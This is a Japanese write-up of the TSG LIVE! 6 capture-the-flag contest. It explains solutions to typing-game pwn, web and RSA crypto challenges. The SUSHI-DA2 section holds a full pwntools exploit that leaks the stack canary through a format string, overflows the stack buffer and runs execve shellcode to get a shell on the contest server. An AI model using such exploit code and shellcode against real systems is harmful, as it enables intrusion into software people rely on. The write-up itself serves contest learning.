TSG LIVE! 6 CTF write-up

https://live.tsg.ne.jp/

東京大学のTSGというサークルが開催するイベントの1コーナーで開催された100分間のCTF。

配信が解いている人の画面を写しながらで面白い。

https://www.youtube.com/watch?v=oitn3AiP6bM&t=14940s

750点4位。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/df384996-20be-6e39-bd12-914105aea847.png)

![live-ctf.tsg.ne.jp_challenges(capture (800)) (2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/ec064520-9ac8-7ea4-a866-9c52c93b4bf7.png)

## Pwn

```
[    0.018690] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline

Boot took 1.75 seconds



 WELCOME TO SUSHIl 🍵🍣🍵




$ play
3, 🍣  2, 🐟  1, 🍙  Go...! 🏃🏃

[TYPE]
We have sushi-bot in our Slack. Sometimes, it DDoSushi us.
We have sushi-bot in our Slack. Sometimes, it DDoSushi us.
[TYPE]
We play amongus every nights, can you join us?
We play amongus every nights, can you join us?
[TYPE]
We play amongus every nights, can you join us?
We play amongus every nights, can you join us?

[ENTER] again to finish!


🎉🎉🎉Congrats! You typed in 20 secs!🎉🎉🎉


$
```

タイピングゲーム。全問これ。

### SUSHI-DA1 (100pts)

```client.c
 :
#define MAX_LENGTH 200
 :
void play_game()
{
  unsigned success = 0;
  struct {
    unsigned long start, result;
    char type[MAX_LENGTH + 0x20];
    int pro;
  } info = {0};
  wait_ready();
  info.start = time(NULL);

  while(success < 3){
    unsigned question = rand() % 4;
    if(wordlist[question][0] == '\x00') continue;
    printf("[TYPE]\n");
    printf(wordlist[question]); puts("");
    readn(info.type, 200);
    if(strncmp(wordlist[question], info.type, strlen(wordlist[question])) != 0)  warn_ret("🙅‍🙅 ACCURACY SHOULD BE MORE IMPORTANT THAN SPEED.");
    ++success;
  }
  info.result = time(NULL) - info.start;
  puts("\n[ENTER] again to finish!");
  readn(info.type, 0x200);

  printf("\n🎉🎉🎉Congrats! You typed in %lu secs!🎉🎉🎉\n", info.result);
  register_record(info.result);
  if(info.pro != 0) system("cat flag1");
}
 :
```

スタックバッファオーバーフローで`info.pro`を書き換えるだけの問題に見えるが……`MAX_LENGTH`（200）しか読み込んでいないな。はて……。と思ったら、`[ENTER] again to finish!`のほうは0x200だった。512バイト書き込める。ここに200+0x20 = 232バイトを超えて書き込めば良い。

```
 :
$ play
3, 🍣  2, 🐟  1, 🍙  Go...! 🏃🏃

[TYPE]
TSG stands for Theoretical Science Group? No, it does for Torturer's Six-shooter for Gokiburi!
TSG stands for Theoretical Science Group? No, it does for Torturer's Six-shooter for Gokiburi!
[TYPE]
TSG stands for Theoretical Science Group? No, it does for Torturer's Six-shooter for Gokiburi!
TSG stands for Theoretical Science Group? No, it does for Torturer's Six-shooter for Gokiburi!
[TYPE]
We play amongus every nights, can you join us?
We play amongus every nights, can you join us?

[ENTER] again to finish!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

🎉🎉🎉Congrats! You typed in 16 secs!🎉🎉🎉
TSGLIVE{pu1pu1m0lc4r_1s_50_cUt3!}
 :
```

🐹🐹🐹🐹

`TSGLIVE{pu1pu1m0lc4r_1s_50_cUt3!}`

### SUSHI-DA2 (200pts)

> Mora says pwning is to get a shell. I know. Then get the shell, as you want...

スタックバッファオーバーフローができるのでそのままシェルも取れるかと思いきや、stack canaryがある。

```client.c
 :
    printf("[TYPE]\n");
    printf(wordlist[question]); puts("");
    readn(info.type, 200);
 :
```

ここだ。`wordlist`には好きな文章を登録することができる。書式文字列攻撃。書式文字列攻撃は面倒なので、Stack canaryのリークだけ書式文字列攻撃でやって、あとはスタックバッファオーバーフローで攻撃すれば良いだろう。

スタックが実行可能なので、シェルコードを書き込んで、canaryと一緒にスタックのアドレスもリークして、シェルコードに飛ばす。

```attack.py
from pwn import *

#context.log_level = "debug"
context.arch = "amd64"

#s = process("./client")
s = remote("sushida.pwn.hakatashi.com", 1337)

formatstr = "!!!! %41$016llx %42$016llx"
s.sendlineafter("$ ", "custom")
s.sendlineafter("[NEW PHRASE] ", formatstr)

s.sendlineafter("$ ", "play")
for i in range(3):
  s.recvuntil("[TYPE]\r\n")
  l = s.recvline().decode()[:-2]
  if "!!!!" in l:
    canary = int(l.split()[1], 16)
    stack = int(l.split()[2], 16)
    print("%x %x"%(canary, stack))
    s.sendline(formatstr)
  else:
    s.sendline(l)

stack -= 0x7fffffffdaa0-0x7fffffffd870

s.sendlineafter("[ENTER] again to finish!\r\n",
  b"x"*0xf8 +
  pack(canary) +
  pack(0) +
  pack(stack+0x110) +
  # http://shell-storm.org/shellcode/files/shellcode-806.php
  b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

s.interactive()
```

なんか上手く動かないと思ったら、改行が`\r\n`だった。QEMUで動かしているせいとかあるのか。

```attack.py
$ python3 attack.py
[+] Opening connection to sushida.pwn.hakatashi.com on port 1337: Done
dfc7c945d2dbca00 7fff33b65ea0
[*] Switching to interactive mode

🎉\x89🎉Congrats! You typed in 1 secs!🎉🎉🎉
TSGLIVE{pu1pu1m0lc4r_1s_50_cUt3!}
/home/user $ $ ls -al
total 1052
drwxr-xr-x    2 1000     1000           120 May 16 06:25 .
drwxr-xr-x    3 root     root            60 May 16 06:25 ..
-rwxrwxrwx    1 1000     1000       1064032 May 14 03:35 client
-r--------    1 1000     1000            34 May 14 03:35 flag1
-r--------    1 1000     1000            48 May 14 03:35 flag2
-r--------    1 root     root            50 May 14 03:35 flag3
/home/user $ $ cat flag2
TSGLIVE{l5_1t_t00_345Y?tH3n_pwn_wh013_k3rn31!!}
```

自分の登録した文章が出題されなかったら解けないのは当然として、それでも成功率が低い。なぜ。ま、解ければ何でも良いか。

`TSGLIVE{l5_1t_t00_345Y?tH3n_pwn_wh013_k3rn31!!}`

### SUSHI-DA3 (500pts)

問題文と配布ファイルと2問目の`ls`結果やフラグから分かるように、kernel exploit。無理っす。

## Web

### Truth about Pi (100pts)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/517acf82-31b4-9722-3dcc-0288bb02b48c.png)

```index.js
const Koa = require('koa');
const get = require('lodash.get');
const bodyParser = require('koa-bodyparser')
 :
app.use(async (ctx) => {
    let content = '';
    if (ctx.method === 'POST') {
        const {index} = ctx.request.body;
        const pi = Math.PI.toString();
        const digit = parseInt(get(pi, index));
        content = `
            <h1>円周率の${index}桁目は${digit}です！</h1>
            ${digit === 0 ? `<p>${process.env.FLAG}</p>` : ''}
        `;
    }
 :
```

0になればフラグが出てくる。「え、円周率に0出てくるでしょ？」と思うが、`Math.PI.toString()="3.141592653589793"`で0が無い。

`lodash.get`が何かというと、例えば`get({x: {y: {z: 0}}}, "x.y.z")`とすると、`0`が返ってくるらしい。要は、`pi`のメンバーだけではなく、メンバーのメンバーとかでもOKと。

JavaScript良く分からないけど、これで解けた。

```shell-session
$ curl -d "index=__proto__.length" http://chal.hakatashi.com:10043/
 :
                        <h1>円周率の__proto__.length桁目は0です！</h1>
                        <p>TSGLIVE{I_have_ZERO_knowledger_about_ZERO}</p>
 :
```

`TSGLIVE{I_have_ZERO_knowledger_about_ZERO}`

## Crypto

### Single RSA (50pts)

> RSAってなんでpとqがあるんですか? pだけで十分でしょ

という問題文を見て$N=p^2$だと思っていたが、$N=p$だった。

```solve.py
N = 178479850949648841198248116422750992853042406553055750251686457284606019225663134778022139393834792251541190223122061313992581365930311648507439562923454260016675724546649669510432182252901116112942467753819586179569353854676338741764057045706561927043651076363499591969004854193987299585852702125771298566233
e = 65537
c = 62455246934683744125725276955214425438107235388192377979301722863904700247665939015562628327051233372602158647245534203816614185069953735580950775646717500735605050171035226572167049173313593458561570624410197930424077427510626826256553487732854266078617272414451645589541795475953562050435245434994492421172

from Crypto.Util.number import *
p = N
d = inverse(e, p-1)
print(long_to_bytes(pow(c, d, N)).decode())
```

```shell-session
$ python3 solve.py
TSGLIVE{Two_heads_are_better_than_one,_even_if_the_one's_a_poor_cryptographer's.}
```

`TSGLIVE{Two_heads_are_better_than_one,_even_if_the_one's_a_poor_cryptographer's.}`

### Multiple RSA (100pts)

```script.py
from Crypto.Util.number import getPrime, bytes_to_long
from math import prod

primes = [getPrime(1024 // 128) for i in range(128)]
N = prod(primes)
phi = prod(p - 1 for p in primes)
e = 0x10001
d = pow(e, -1, phi)

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read())

c = pow(flag, e, N)
print(f'N = {N}')
print(f'e = {e}')
print(f'c = {c}')

assert(pow(c, d, N) == flag)
```

素数がいっぱい。1個あたり8ビットになるので、素因数分解できる。あとは問題のソースコードをコピペでいける……と思ったら、output.txtは、

```output.txt
N = 28761487699163354044947249169269497121290858076033220176962020571747169213832812682462491963807238610546459293577248049855786854912202009838216418810429506981659570156718282543904535170040088798952888010673828154150181295037742271473121734219557534144137345223721734063628675041239926526926563
e = 65537
c = 20991395969728658932602083294661707578294501669861894766114011090924070043811254877447990765617804130808408544100904777661375402490888693274497785588453942564670211800560171380008343861888438131408243501238819736846863553327083454827346527801940422979392660350553785538991123934812487989638830
Traceback (most recent call last):
  File "script.py", line 18, in <module>
    assert(pow(c, d, N) == flag)
AssertionError
```

だった。

`d`の求め方が間違っているからちゃんと実装しろと。

こうかな。

```solve.py
N = 28761487699163354044947249169269497121290858076033220176962020571747169213832812682462491963807238610546459293577248049855786854912202009838216418810429506981659570156718282543904535170040088798952888010673828154150181295037742271473121734219557534144137345223721734063628675041239926526926563
e = 65537
c = 20991395969728658932602083294661707578294501669861894766114011090924070043811254877447990765617804130808408544100904777661375402490888693274497785588453942564670211800560171380008343861888438131408243501238819736846863553327083454827346527801940422979392660350553785538991123934812487989638830

primes = []
N2 = N
for f in range(2, 1024):
  while N2%f==0:
    N2 //= f
    primes += [f]

phi = 1
for p in range(1024):
  k = primes.count(p)
  if k>0:
    phi *= p**k-p**(k-1)

from Crypto.Util.number import *
d = inverse(e, phi)
flag = pow(c, d, N)
print(long_to_bytes(flag).decode())
```

```shell-session
$ python3 solve.py
TSGLIVE{Too_many_poor_cryptographers_spoil_the_broth._Like_they_did_in_WEP_protocol.}
```

`TSGLIVE{Too_many_poor_cryptographers_spoil_the_broth._Like_they_did_in_WEP_protocol.}`

### Broken RSA (200pts)

終了数分前に解けた。

> この式が成り立つはずなんですけど、また俺なんかやっちゃいました？

```encrypt.py
 :
msg = int.from_bytes(FLAG, byteorder='big')
keys = key(p, q)
encrypted = encrypt(msg, keys.gen_public_key())

assert(msg < p * q)

print(f'N, e = {keys.gen_public_key()}')
print(f'c = {encrypted}')

if pow(msg, keys.phi, keys.N) != 1:
    raise Exception('Oops! RSA is broken!')
```

？？？　オイラーの定理により、任意の整数$a$に対して$a^{\phi(n)}\equiv 1 \mod n$では？　RSAの実装自体も特におかしな所は見当たらない。

[オイラーの定理](https://ja.wikipedia.org/wiki/%E3%82%AA%E3%82%A4%E3%83%A9%E3%83%BC%E3%81%AE%E5%AE%9A%E7%90%86_(%E6%95%B0%E8%AB%96))を良く読むと、この式が成り立つのは$a$と$n$が互いに素なときだった。じゃあ、互いに素ではなくて、最大公約数を求めれば$p$が出てくるのでしょう。$c$についてはオイラーの小定理が成り立つので、復号に支障は無いはず。

```solve.py
N, e = (95812696701269073221159948145243214462704963858663882040456486258404669285867469009059640848541654081247627855708655790136005123645457171485695456064983160933000498095480453476811888949818854488299774568712493197791533868038091806577946748660244440402252295676571862715190218304158329810887685686148465429187, 65537)
c = 7907321165114306123521751428613621184235304718872711749814432838585357923889041734201337742745068199205307126006471948482747892766563260089124416569708583684424473040654220471607451117969145982260866533327633574295310006017437031764126392914726004861261726088745308941226822362103197942341023050390422055031

from math import gcd
from Crypto.Util.number import *

p = gcd(N, c)
q = N//p
assert N==p*q
phi = (p-1)*(q-1)
d = inverse(e, phi)
msg = pow(c, d, N)
print(long_to_bytes(msg).decode())
```

```shell-session
$ python3 solve.py
TSGLIVE{FIndInG_co-FactoR_Is_tyPIcal_Rsa_qU3stIon_dont_yoU_tHink_tHaT?}
```

この問題、どうやって作ったのだろう。フラグの大文字小文字を変えながら、大きな素数が出てくるかガチャを引いたのか？

`TSGLIVE{FIndInG_co-FactoR_Is_tyPIcal_Rsa_qU3stIon_dont_yoU_tHink_tHaT?}`